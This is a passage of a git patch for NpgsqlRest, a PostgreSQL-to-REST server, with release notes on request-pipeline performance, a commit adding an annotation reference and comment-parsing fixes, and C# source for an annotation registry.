optimize at all. +public async Task InvokeAsync(HttpContext context, ...) { /* bind, context, upload, execute, render */ } + +// 3.22.0: what a request needs lives in one object taken from a pool, and the request is a sequence of stages +var s = RequestState.Rent(); +try +{ + if (await BeginRequestAsync(s) is false || await PrepareParametersAsync(s) is false) return; + await SetRequestContextAsync(s); + // ... + await RenderRecordsAsync(s); // one render method per kind of result +} +finally +{ + await CompleteRequestAsync(s); + RequestState.Return(s); +} +``` + +Each stage is a small method that keeps almost nothing alive while it waits for the database. NpgsqlRest's own allocations for a small request went from 2.59 KB to 0.30 KB. + +**4. The request context goes to PostgreSQL together with the routine.** + +```csharp +// 3.21.0: two round trips for every request with user_context +await using var context = new NpgsqlBatch(connection); +context.BatchCommands.Add(new NpgsqlBatchCommand("select set_config($1,$2,false)")); // one per setting +await context.ExecuteNonQueryAsync(); // round trip 1 +await using var reader = await command.ExecuteReaderAsync(); // round trip 2: the routine + +// 3.22.0: one batch, one round trip, and the settings are local to its transaction +var batch = new NpgsqlBatch(connection); +batch.BatchCommands.Add(new NpgsqlBatchCommand("select set_config($1,$2,true) is null,set_config($3,$4,true) is null")); +batch.BatchCommands.Add(new NpgsqlBatchCommand("select public.my_function($1)")); // the routine, unchanged +await using var reader = await batch.ExecuteReaderAsync(); +await reader.NextResultAsync(); // past the context statement, to the routine's rows +``` + +A text value from an endpoint with `user_context` went from 335 µs to 217 µs, and from 21,070 to 35,704 requests per second (JIT). Because nothing stays on the connection, it also does not have to be reset afterwards; the reset rule and its code are under [Connections are reset only when needed](#connections-are-reset-only-when-needed). + +The complete list follows. + #### What changed - **Rows are written as UTF-8 from start to end.** PostgreSQL sends every value as UTF-8 text, and the response is UTF-8. NpgsqlRest used to turn every value into a .NET string (UTF-16), build each row in a string builder, and encode the result back to UTF-8; a 100-row response created about 1,500 short-lived strings on the way. Rows are now built as bytes: a value's bytes are taken straight from the database reader and written with the JSON punctuation around them, and escaping, arrays, date/time values and booleans are converted on the bytes. The output is the same byte for byte; the tests compare the new converters with the old ones for every character and for arrays of every shape. This covers functions, tables, views and SQL files (single and multi-statement), JSON and raw/CSV output. A value still passes through a string where it has to: decryption (`decrypt`), composite types, table formats, and connections whose client encoding is not UTF-8. From 90b21ef7ff10e48d6c93ae54ef2849a9ebff7abb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Fri, 20 Nov 2026 12:42:37 +0100 Subject: [PATCH 18/38] feat: complete annotation reference and per-endpoint comment report for tools; fix comment parsing bugs For editors and other tools (and the people and models that write annotations with them): - npgsqlrest --annotations lists everything that is read from comments: core annotations, and the annotations and custom parameters of every plugin and handler (upload handlers, table formats, tsclient, dartclient, mcp, openapi), of SQL test files and of HTTP Custom Types. Each entry has its owner, form, contexts, value kind, values, default and example. Plugins describe theirs through IEndpointCreateHandler.Annotations; the registry is CommentAnnotations. - npgsqlrest --endpoints says, per endpoint, the source file, the lines read as annotations, the prose, the lines and keys that nothing reads, and the warnings logged about its comment. - A comment line that begins with @ and is no annotation is no longer prose (OpenAPI and MCP published it as the description), and an unknown "@key = value" logs a warning. Fixes: - SQL files: "returns", "result" and "define_param" are whole words, and without the @ a line is an annotation only when it has the shape of one ("-- Returns all active users" ended the application under ErrorMode Exit). The header of a single statement without a semicolon is read. The source's own lines are not the description. "@http" is an HTTP tag. "param $1 type is T" gives its type to Describe. - Custom parameter keys, upload handler names and table format names are matched in any case. - A value that is not a valid escape sequence (C:\uploads) no longer throws while endpoints are built. - Built-in key = value: switches accept on/off/enabled/disabled/1/0; a value that is not valid is logged; "basic_auth = user password" adds the user; the @ is optional on a resolved parameter; the SQL row_command warning is no longer skipped for "@row_command". - Plugin annotations apply only under a matching "for" tag. - OpenAPI tags are separated by commas only, so a tag may be several words. - TsClient and DartClient write one file unless files are split by schema, or by module with a {0} in the path. - HTTP Custom Types: a header whose name begins with "timeout" or "retry_delay" is a header; error_message is cleared when a retry succeeds; calls to own endpoints resolve placeholders in headers and honor the timeout (internal calls pass their cancellation to the called endpoint). - Test runner: an include line may end with a comment; endpoints whose HTTP type calls another server are refused. --- NpgsqlRest/CommentAnnotation.cs | 324 ++++++ .../CommentParsers/AnnotationReference.cs | 1034 +++++++++-------- .../CommentParsers/CustomParameterHandler.cs | 3 +- .../CommentParsers/ParameterHandler.cs | 3 +- .../Defaults/CommentParsers/UploadHandler.cs | 16 +- NpgsqlRest/Defaults/DefaultCommentParser.cs | 142 ++- NpgsqlRest/Defaults/DefaultEndpoint.cs | 2 +- NpgsqlRest/EndpointDiagnostics.cs | 48 + NpgsqlRest/Extensions.cs | 55 +- .../HttpClientType/HttpClientTypeHandler.cs | 26 +- NpgsqlRest/HttpClientType/HttpClientTypes.cs | 10 + .../HttpClientType/HttpTypeAnnotations.cs | 73 ++ .../HttpClientType/InternalRequestHandler.cs | 9 + NpgsqlRest/IEndpointCreateHandler.cs | 8 + NpgsqlRest/Log.cs | 2 +- NpgsqlRest/NpgsqlRestBuilder.cs | 13 +- NpgsqlRest/NpgsqlRestEndpoint.cs | 2 +- NpgsqlRest/Routine.cs | 9 + NpgsqlRest/RoutineEndpoint.cs | 20 + .../UploadHandlers/UploadAnnotations.cs | 112 ++ NpgsqlRest/UploadHandlers/UploadExtensions.cs | 3 +- NpgsqlRestClient/AnnotationReference.cs | 36 + NpgsqlRestClient/App.cs | 11 +- NpgsqlRestClient/EndpointCapture.cs | 45 + NpgsqlRestClient/Program.cs | 5 +- NpgsqlRestClient/TableFormatAnnotations.cs | 33 + NpgsqlRestClient/Testing/SqlTestFileParser.cs | 17 +- NpgsqlRestClient/Testing/TestAnnotations.cs | 84 ++ NpgsqlRestClient/Testing/TestRunner.cs | 14 + NpgsqlRestTests/CliTests/CliCommandTests.cs | 47 +- .../CliTests/CliTestRunnerHttpTypeSetup.cs | 23 + .../CommentTests/CommentParserFixesTests.cs | 227 ++++ .../PluginAndHandlerFixesTests.cs | 222 ++++ .../UnhandledCommentLinesTests.cs | 93 +- .../HttpClientTypeFixesTests.cs | 122 ++ .../ParseHttpTypeDefinitionTests.cs | 44 + .../Setup/UnhandledCommentLinesTestFixture.cs | 27 + .../DescribeTests/ParamTypeHintTests.cs | 20 + .../SqlFileCommentProseTests.cs | 160 +++ .../PositionalAnnotationShapeTests.cs | 137 +++ plugins/NpgsqlRest.DartClient/DartClient.cs | 7 +- .../DartClientAnnotations.cs | 100 ++ plugins/NpgsqlRest.Mcp/Mcp.cs | 3 + plugins/NpgsqlRest.Mcp/McpAnnotations.cs | 37 + plugins/NpgsqlRest.OpenApi/OpenApi.cs | 28 +- .../NpgsqlRest.OpenApi/OpenApiAnnotations.cs | 18 + .../NpgsqlRest.SqlFileSource/SqlFileParser.cs | 163 ++- .../NpgsqlRest.SqlFileSource/SqlFileSource.cs | 41 +- plugins/NpgsqlRest.TsClient/TsClient.cs | 9 +- .../TsClientAnnotations.cs | 112 ++ 50 files changed, 3230 insertions(+), 569 deletions(-) create mode 100644 NpgsqlRest/CommentAnnotation.cs create mode 100644 NpgsqlRest/EndpointDiagnostics.cs create mode 100644 NpgsqlRest/HttpClientType/HttpTypeAnnotations.cs create mode 100644 NpgsqlRest/UploadHandlers/UploadAnnotations.cs create mode 100644 NpgsqlRestClient/AnnotationReference.cs create mode 100644 NpgsqlRestClient/TableFormatAnnotations.cs create mode 100644 NpgsqlRestClient/Testing/TestAnnotations.cs create mode 100644 NpgsqlRestTests/CliTests/CliTestRunnerHttpTypeSetup.cs create mode 100644 NpgsqlRestTests/CommentTests/CommentParserFixesTests.cs create mode 100644 NpgsqlRestTests/CommentTests/PluginAndHandlerFixesTests.cs create mode 100644 NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeFixesTests.cs create mode 100644 NpgsqlRestTests/SqlFileSourceTests/IntegrationTests/SqlFileCommentProseTests.cs create mode 100644 NpgsqlRestTests/SqlFileSourceTests/ParserTests/PositionalAnnotationShapeTests.cs create mode 100644 plugins/NpgsqlRest.DartClient/DartClientAnnotations.cs create mode 100644 plugins/NpgsqlRest.Mcp/McpAnnotations.cs create mode 100644 plugins/NpgsqlRest.OpenApi/OpenApiAnnotations.cs create mode 100644 plugins/NpgsqlRest.TsClient/TsClientAnnotations.cs diff --git a/NpgsqlRest/CommentAnnotation.cs b/NpgsqlRest/CommentAnnotation.cs new file mode 100644 index 00000000..d2c16020 --- /dev/null +++ b/NpgsqlRest/CommentAnnotation.cs @@ -0,0 +1,324 @@ +using System.Text.Json.Nodes; +using System.Text.RegularExpressions; + +namespace NpgsqlRest; + +/// Where a comment annotation is read. +[Flags] +public enum AnnotationContext +{ + None = 0, + /// The comment of a function, procedure, table or view (COMMENT ON ...). + Routine = 1, + /// A comment anywhere in a SQL file endpoint; applies to the whole file. + SqlFile = 2, + /// A comment in a SQL file endpoint that applies to one statement by its position. + SqlFileStatement = 4, + /// A comment in a SQL test file (npgsqlrest --test). + TestFile = 8, + /// The comment of a composite type that defines an HTTP Custom Type. + TypeComment = 16, + + /// Every endpoint comment: a routine's and a SQL file's. + Endpoint = Routine | SqlFile +} + +/// How an annotation is written on its comment line. +public enum AnnotationForm +{ + /// A keyword that opens the line, followed by its value: authorize admin. + Keyword, + /// A custom parameter: key = value. + KeyValue, + /// Either of the two: timeout 30s or timeout = 30s. + KeywordOrKeyValue, + /// A line with a shape of its own, described by its syntax (a response header, a request line). + Line +} + +/// What kind of value an annotation takes. +public enum AnnotationValueKind +{ + /// No value: the annotation is a switch. + None, + Boolean, + Integer, + /// Free text to the end of the line. + Text, + /// One of . + Enum, + /// A PostgreSQL interval: 30s, 5 minutes. + Interval, + /// SQL text. + Sql, + /// A list of values separated by commas or spaces. + List, + /// A URL path or a file system path. + Path, + /// A name defined elsewhere: a parameter, a column, a configured policy or connection. + Name +} + +/// +/// One comment annotation, described as data: what it is called, how it is written, where it is read and what +/// value it takes. The descriptions of all annotations make up the reference that npgsqlrest --annotations +/// prints, which editors and other tools use for completion, validation and help. They are also how NpgsqlRest +/// tells an annotation it does not know from one a plugin reads. +/// +public sealed class CommentAnnotation +{ + /// The canonical name, lower case, without the optional @ prefix. + public required string Name { get; init; } + + /// Every accepted spelling, the canonical name included. + public string[] Aliases { get; init; } = []; + + /// The line as it is written: authorize [role1, role2, ...]. + public required string Syntax { get; init; } + + /// What it does, written to be read on its own. + public required string Description { get; init; } + + /// Who reads it: core, or a plugin or handler (tsclient, upload:csv). + public string Owner { get; init; } = "core"; + + public AnnotationForm Form { get; init; } = AnnotationForm.Keyword; + + public AnnotationContext Contexts { get; init; } = AnnotationContext.Endpoint; + + public AnnotationValueKind ValueKind { get; init; } = AnnotationValueKind.Text; + + /// The accepted values, when is . + public string[]? Values { get; init; } + + /// What applies when the annotation is absent, where that can be said in a word. + public string? Default { get; init; } + + /// One line as it would be written in a comment. + public string? Example { get; init; } + + /// + /// A regular expression for names that follow a pattern rather than a list (^result[0-9]+$). Matched + /// case-insensitively against the name without its @ prefix. + /// + public string? Pattern { get; init; } + + internal Regex? PatternRegex => _patternRegex ??= Pattern is null + ? null + : new Regex(Pattern, RegexOptions.IgnoreCase | RegexOptions.CultureInvariant); + private Regex? _patternRegex; + + public JsonObject ToJson() + { + var aliases = new JsonArray(); + foreach (var alias in Aliases) + { + aliases.Add((JsonNode?)alias); + } + var contexts = new JsonArray(); + if (Contexts.HasFlag(AnnotationContext.Routine)) contexts.Add((JsonNode?)"routine"); + if (Contexts.HasFlag(AnnotationContext.SqlFile)) contexts.Add((JsonNode?)"sql_file"); + if (Contexts.HasFlag(AnnotationContext.SqlFileStatement)) contexts.Add((JsonNode?)"sql_file_statement"); + if (Contexts.HasFlag(AnnotationContext.TestFile)) contexts.Add((JsonNode?)"test_file"); + if (Contexts.HasFlag(AnnotationContext.TypeComment)) contexts.Add((JsonNode?)"type_comment"); + + var result = new JsonObject + { + ["name"] = Name, + ["aliases"] = aliases, + ["syntax"] = Syntax, + ["description"] = Description, + ["owner"] = Owner, + ["form"] = Form switch + { + AnnotationForm.Keyword => "keyword", + AnnotationForm.KeyValue => "key_value", + AnnotationForm.KeywordOrKeyValue => "keyword_or_key_value", + _ => "line" + }, + ["contexts"] = contexts, + ["valueKind"] = ValueKind switch + { + AnnotationValueKind.None => "none", + AnnotationValueKind.Boolean => "boolean", + AnnotationValueKind.Integer => "integer", + AnnotationValueKind.Enum => "enum", + AnnotationValueKind.Interval => "interval", + AnnotationValueKind.Sql => "sql", + AnnotationValueKind.List => "list", + AnnotationValueKind.Path => "path", + AnnotationValueKind.Name => "name", + _ => "text" + } + }; + if (Values is not null) + { + var values = new JsonArray(); + foreach (var value in Values) + { + values.Add((JsonNode?)value); + } + result["values"] = values; + } + if (Default is not null) result["default"] = Default; + if (Example is not null) result["example"] = Example; + if (Pattern is not null) result["pattern"] = Pattern; + return result; + } +} + +/// +/// The annotations NpgsqlRest and its plugins read. Core registers its own; a plugin registers what it reads +/// ( is registered automatically when the plugin is used, and a +/// host may call for plugins it ships but has not enabled). +/// +public static class CommentAnnotations +{ + private static readonly Lock Sync = new(); + private static readonly List List = []; + private static readonly HashSet Registered = new(StringComparer.OrdinalIgnoreCase); + // names and aliases read in endpoint comments (a routine's, a SQL file's) + private static HashSet _endpointNames = new(StringComparer.OrdinalIgnoreCase); + // the ones among them that are written as key = value + private static HashSet _endpointKeys = new(StringComparer.OrdinalIgnoreCase); + private static CommentAnnotation[] _endpointPatterns = []; + private static bool _coreRegistered; + + /// Adds annotations to the reference. One with the owner and name of an earlier one is left out. + public static void Register(IEnumerable annotations) + { + lock (Sync) + { + EnsureCore(); + Add(annotations); + } + } + + /// Every registered annotation, core's first, then in the order they were registered. + public static CommentAnnotation[] All + { + get + { + lock (Sync) + { + EnsureCore(); + return [.. List]; + } + } + } + + /// + /// True when (with or without its @ prefix) is an annotation or a custom + /// parameter that something reads in an endpoint comment. + /// + public static bool IsKnown(string name) + { + if (name.Length > 0 && name[0] == '@') + { + name = name[1..]; + } + HashSet names; + CommentAnnotation[] patterns; + lock (Sync) + { + EnsureCore(); + names = _endpointNames; + patterns = _endpointPatterns; + } + if (names.Contains(name)) + { + return true; + } + foreach (var annotation in patterns) + { + if (annotation.PatternRegex!.IsMatch(name)) + { + return true; + } + } + return false; + } + + /// + /// True when (with or without its @ prefix) is something read from a + /// key = value line of an endpoint comment. A name that is only ever a keyword (authorize) is + /// not: written as authorize = admin it is stored as a custom parameter that nothing reads. + /// + public static bool IsKnownCustomParameter(string key) + { + if (key.Length > 0 && key[0] == '@') + { + key = key[1..]; + } + lock (Sync) + { + EnsureCore(); + return _endpointKeys.Contains(key); + } + } + + /// The reference as JSON: what npgsqlrest --annotations prints. + public static JsonArray ToJson() + { + var result = new JsonArray(); + foreach (var annotation in All) + { + result.Add((JsonNode?)annotation.ToJson()); + } + return result; + } + + private static void EnsureCore() + { + if (_coreRegistered) + { + return; + } + _coreRegistered = true; + Add(Defaults.DefaultCommentParser.CoreAnnotations()); + } + + private static void Add(IEnumerable annotations) + { + var changed = false; + foreach (var annotation in annotations) + { + if (Registered.Add(string.Concat(annotation.Owner, "\n", annotation.Name)) is false) + { + continue; + } + List.Add(annotation); + changed = true; + } + if (changed is false) + { + return; + } + // copy on write: IsKnown reads these without holding the lock for long + var names = new HashSet(StringComparer.OrdinalIgnoreCase); + var keys = new HashSet(StringComparer.OrdinalIgnoreCase); + var patterns = new List(); + foreach (var annotation in List) + { + if ((annotation.Contexts & (AnnotationContext.Endpoint | AnnotationContext.SqlFileStatement)) == 0) + { + continue; + } + var isKey = annotation.Form is AnnotationForm.KeyValue or AnnotationForm.KeywordOrKeyValue; + names.Add(annotation.Name); + if (isKey) keys.Add(annotation.Name); + foreach (var alias in annotation.Aliases) + { + names.Add(alias); + if (isKey) keys.Add(alias); + } + if (annotation.Pattern is not null) + { + patterns.Add(annotation); + } + } + _endpointNames = names; + _endpointKeys = keys; + _endpointPatterns = [.. patterns]; + } +} diff --git a/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs b/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs index 69362a64..19ff3b38 100644 --- a/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs +++ b/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs @@ -1,474 +1,574 @@ -using System.Text.Json.Nodes; - namespace NpgsqlRest.Defaults; internal static partial class DefaultCommentParser { /// - /// Returns a machine-readable JSON array describing all supported comment annotations. - /// Used by pgdev and other tools for autocomplete/IntelliSense. + /// The annotations core reads from endpoint comments, described as data. Part of the reference + /// (, npgsqlrest --annotations); plugins and handlers add their own. /// - public static JsonArray GetAnnotationReference() - { - var annotations = new JsonArray(); - - static JsonArray ToJsonArray(string[] values) - { - var arr = new JsonArray(); - foreach (var v in values) arr.Add((JsonNode)v); - return arr; - } - - static JsonArray ToJsonArray1(string value) => new() { (JsonNode)value }; - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "http", - ["aliases"] = ToJsonArray1(HttpKey), - ["syntax"] = "http [GET|POST|PUT|DELETE|QUERY] [path]", - ["description"] = "Enable endpoint and configure HTTP method and/or path. Required (for HTTP exposure) when CommentsMode is OnlyAnnotated (or its alias OnlyWithHttpTag)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "path", - ["aliases"] = ToJsonArray1(PathKey), - ["syntax"] = "path ", - ["description"] = "Override the endpoint URL path." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "param_type", - ["aliases"] = ToJsonArray(ParamTypeKey), - ["syntax"] = "param_type [query_string|query|body_json|body]", - ["description"] = "Set request parameter type to query string or JSON body." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "authorize", - ["aliases"] = ToJsonArray(AuthorizeKey), - ["syntax"] = "authorize [role1, role2, user:name, id:user_id, ...]", - ["description"] = "Require authorization, optionally restricting access. Plain values are role names (role claim); user:name matches the user name claim and id:value the user id claim." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "allow_anonymous", - ["aliases"] = ToJsonArray(AllowAnonymousKey), - ["syntax"] = "allow_anonymous", - ["description"] = "Allow unauthenticated access to this endpoint." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "login", - ["aliases"] = ToJsonArray(LoginKey), - ["syntax"] = "login", - ["description"] = "Mark endpoint as a login/authentication endpoint." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "logout", - ["aliases"] = ToJsonArray(LogoutKey), - ["syntax"] = "logout", - ["description"] = "Mark endpoint as a logout endpoint." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "raw", - ["aliases"] = ToJsonArray(RawKey), - ["syntax"] = "raw", - ["description"] = "Return raw results without JSON formatting." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "separator", - ["aliases"] = ToJsonArray(SeparatorKey), - ["syntax"] = "separator ", - ["description"] = "Set the value separator for raw mode output." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "new_line", - ["aliases"] = ToJsonArray(NewLineKey), - ["syntax"] = "new_line ", - ["description"] = "Set the line separator for raw mode output." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "columns", - ["aliases"] = ToJsonArray(ColumnNamesKey), - ["syntax"] = "columns", - ["description"] = "Include column names as the first row in raw output." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "buffer_rows", - ["aliases"] = ToJsonArray(BufferRowsKey), - ["syntax"] = "buffer_rows ", - ["description"] = "Set the number of rows to buffer before sending response." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "cached", - ["aliases"] = ToJsonArray1(CacheKey), - ["syntax"] = "cached [param1, param2, ...]", - ["description"] = "Enable response caching, optionally specifying cache key parameters." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "cache_expires", - ["aliases"] = ToJsonArray(CacheExpiresInKey), - ["syntax"] = "cache_expires ", - ["description"] = "Set cache expiration time (PostgreSQL interval format)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "cache_profile", - ["aliases"] = ToJsonArray1(CacheProfileKey), - ["syntax"] = "cache_profile ", - ["description"] = "Select a named cache profile defined in CacheOptions.Profiles. The profile supplies the cache backend, default expiration, default key parameters, and per-parameter skip conditions. Implies caching even without @cached. Existing @cached and @cache_expires annotations override the profile's defaults. Unknown profile names cause startup to fail." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "connection_name", - ["aliases"] = ToJsonArray(ConnectionNameKey), - ["syntax"] = "connection_name ", - ["description"] = "Use a specific named connection string for this endpoint." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "timeout", - ["aliases"] = ToJsonArray(TimeoutKey), - ["syntax"] = "timeout ", - ["description"] = "Set command execution timeout (PostgreSQL interval format)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "request_headers_mode", - ["aliases"] = ToJsonArray(RequestHeadersModeKey), - ["syntax"] = "request_headers [ignore|context|parameter]", - ["description"] = "Control how HTTP request headers are passed to the routine." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "request_headers_parameter_name", - ["aliases"] = ToJsonArray(RequestHeadersParameterNameKey), - ["syntax"] = "request_headers_parameter_name ", - ["description"] = "Set the parameter name for request headers when mode is parameter." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "body_parameter_name", - ["aliases"] = ToJsonArray(BodyParameterNameKey), - ["syntax"] = "body_parameter_name ", - ["description"] = "Set the parameter name for the JSON body content." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "response_null_handling", - ["aliases"] = ToJsonArray(TextResponseNullHandlingKey), - ["syntax"] = "response_null [empty_string|null_literal|no_content|204]", - ["description"] = "Control how NULL return values are rendered in responses." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "query_string_null_handling", - ["aliases"] = ToJsonArray(QueryStringNullHandlingKey), - ["syntax"] = "query_null [empty_string|null_literal|ignore]", - ["description"] = "Control how NULL query string parameters are handled." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "security_sensitive", - ["aliases"] = ToJsonArray(SecuritySensitiveKey), - ["syntax"] = "security_sensitive", - ["description"] = "Mark endpoint as security-sensitive (suppresses logging of parameters)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "user_context", - ["aliases"] = ToJsonArray(UserContextKey), - ["syntax"] = "user_context", - ["description"] = "Pass authenticated user context to the routine via connection settings." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "user_parameters", - ["aliases"] = ToJsonArray(UserParemetersKey), - ["syntax"] = "user_parameters", - ["description"] = "Map user claims to routine parameters." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "upload", - ["aliases"] = ToJsonArray1(UploadKey), - ["syntax"] = "upload [for handler1, handler2, ...]", - ["description"] = "Enable file upload for this endpoint, optionally specifying upload handlers." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "param", - ["aliases"] = ToJsonArray(ParameterKey), - ["syntax"] = "param is hash of | param is upload metadata | param [type] | param is [type] | param type is | param default ", - ["description"] = "Configure parameter behavior: hash computation, upload metadata binding, rename/retype, retype WITHOUT rename ('param user_id type is integer'), or default value ('param user_id default null'). Rename forms: 'param $1 user_id', 'param $1 user_id integer', 'param $1 is user_id', 'param _old_name better_name'. In SQL files with named (:name) placeholders the parameter is addressed by the placeholder's own name (a leading ':' is tolerated). Works on all endpoint types." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "sse_path", - ["aliases"] = ToJsonArray(SseEventsStreamingPathKey), - ["syntax"] = "sse_path [path] [on info|notice|warning]", - ["description"] = "Enable Server-Sent Events streaming with optional path and notice level." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "sse_level", - ["aliases"] = ToJsonArray(SseEventsLevelKey), - ["syntax"] = "sse_level [info|notice|warning]", - ["description"] = "Set the PostgreSQL notice level for SSE events." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "sse_scope", - ["aliases"] = ToJsonArray(SseEventsStreamingScopeKey), - ["syntax"] = "sse_scope [all|authorize|matching] [role1, role2, user:name, id:user_id, ...]", - ["description"] = "Set the broadcast scope for SSE events. Authorize values: plain = role, user:name = user name claim, id:value = user id claim." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "basic_auth", - ["aliases"] = ToJsonArray(BasicAuthKey), - ["syntax"] = "basic_auth [username] [password]", - ["description"] = "Enable HTTP Basic Authentication for this endpoint." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "basic_auth_realm", - ["aliases"] = ToJsonArray(BasicAuthRealmKey), - ["syntax"] = "basic_auth_realm ", - ["description"] = "Set the authentication realm for Basic Auth challenges." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "basic_auth_command", - ["aliases"] = ToJsonArray(BasicAuthCommandKey), - ["syntax"] = "basic_auth_command ", - ["description"] = "Set a custom SQL command for Basic Auth credential validation." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "retry_strategy", - ["aliases"] = ToJsonArray(RetryStrategyKey), - ["syntax"] = "retry_strategy ", - ["description"] = "Apply a named retry strategy for transient database errors." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "rate_limiter", - ["aliases"] = ToJsonArray(RateLimiterPolicyKey), - ["syntax"] = "rate_limiter ", - ["description"] = "Apply a named rate limiting policy to this endpoint." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "error_code_policy", - ["aliases"] = ToJsonArray(ErrorCodePolicyKey), - ["syntax"] = "error_code_policy ", - ["description"] = "Apply a named error code mapping policy for PostgreSQL error codes." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "validate", - ["aliases"] = ToJsonArray(ValidateKey), - ["syntax"] = "validate using ", - ["description"] = "Add parameter validation using a named validation rule." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "proxy", - ["aliases"] = ToJsonArray(ProxyKey), - ["syntax"] = "proxy [GET|POST|PUT|DELETE|QUERY] [host_url]", - ["description"] = "Configure endpoint as a reverse proxy." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "proxy_out", - ["aliases"] = ToJsonArray(ProxyOutKey), - ["syntax"] = "proxy_out [GET|POST|PUT|DELETE|QUERY] [host_url]", - ["description"] = "Execute function first, then forward result body to upstream proxy service." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "nested_json", - ["aliases"] = ToJsonArray(NestedJsonKey), - ["syntax"] = "nested_json", - ["description"] = "Serialize composite type columns as nested JSON objects." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "tags", - ["aliases"] = ToJsonArray(TagsKey), - ["syntax"] = "for tag1, tag2, ...", - ["description"] = "Filter endpoint availability by tags." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "disabled", - ["aliases"] = ToJsonArray1(DisabledKey), - ["syntax"] = "disabled [tag1, tag2, ...]", - ["description"] = "Disable this endpoint, optionally only for specific tags." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "enabled", - ["aliases"] = ToJsonArray1(EnabledKey), - ["syntax"] = "enabled [tag1, tag2, ...]", - ["description"] = "Enable this endpoint, optionally only for specific tags." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "internal", - ["aliases"] = ToJsonArray(InternalKey), - ["syntax"] = "internal", - ["description"] = "Mark endpoint as internal-only. Not exposed as an HTTP route, only accessible via self-referencing calls (proxy, HTTP client types)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "encrypt", - ["aliases"] = ToJsonArray(EncryptKey), - ["syntax"] = "encrypt [param1, param2, ...]", - ["description"] = "Encrypt parameter values using the default data protector before sending to PostgreSQL. Without arguments, encrypts all text parameters." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "decrypt", - ["aliases"] = ToJsonArray(DecryptKey), - ["syntax"] = "decrypt [column1, column2, ...]", - ["description"] = "Decrypt result column values using the default data protector before returning to the client. Without arguments, decrypts all text columns." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "custom_parameter", - ["aliases"] = new JsonArray(), - ["syntax"] = "key = value", - ["description"] = "Define a custom parameter as key-value pair (separated by =)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "header", - ["aliases"] = new JsonArray(), - ["syntax"] = "Header-Name: header-value", - ["description"] = "Add a response header (separated by :)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "resultN", - ["aliases"] = new JsonArray("result1", "result2", "result3"), - ["syntax"] = "resultN | resultN is ", - ["description"] = "Rename a result key in multi-command SQL file responses. N is the 1-based command index. Example: '@result1 validate' renames the first result from 'result1' to 'validate'. SQL file source only." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "define_param", - ["aliases"] = new JsonArray("define_param"), - ["syntax"] = "define_param [type]", - ["description"] = "Define a virtual parameter that exists for HTTP matching and claim mapping but is NOT bound to the PostgreSQL command. Useful for SQL file endpoints where you need parameters for comment placeholders or claim mapping without referencing them in SQL. Default type is text. SQL file source only." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "single", - ["aliases"] = ToJsonArray(SingleKey), - ["syntax"] = "single", - ["description"] = "Return only the first row as a JSON object instead of a JSON array. In multi-command SQL files the annotation is positional: it applies to the next statement (or, inline after the semicolon, to the statement on that line)." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "void", - ["aliases"] = ToJsonArray(VoidKey), - ["syntax"] = "void", - ["description"] = "Return no content (204 No Content); results are discarded. In multi-command SQL files all statements still execute for side effects." - }); - - annotations.Add((JsonNode)new JsonObject - { - ["name"] = "skip", - ["aliases"] = new JsonArray("skip", 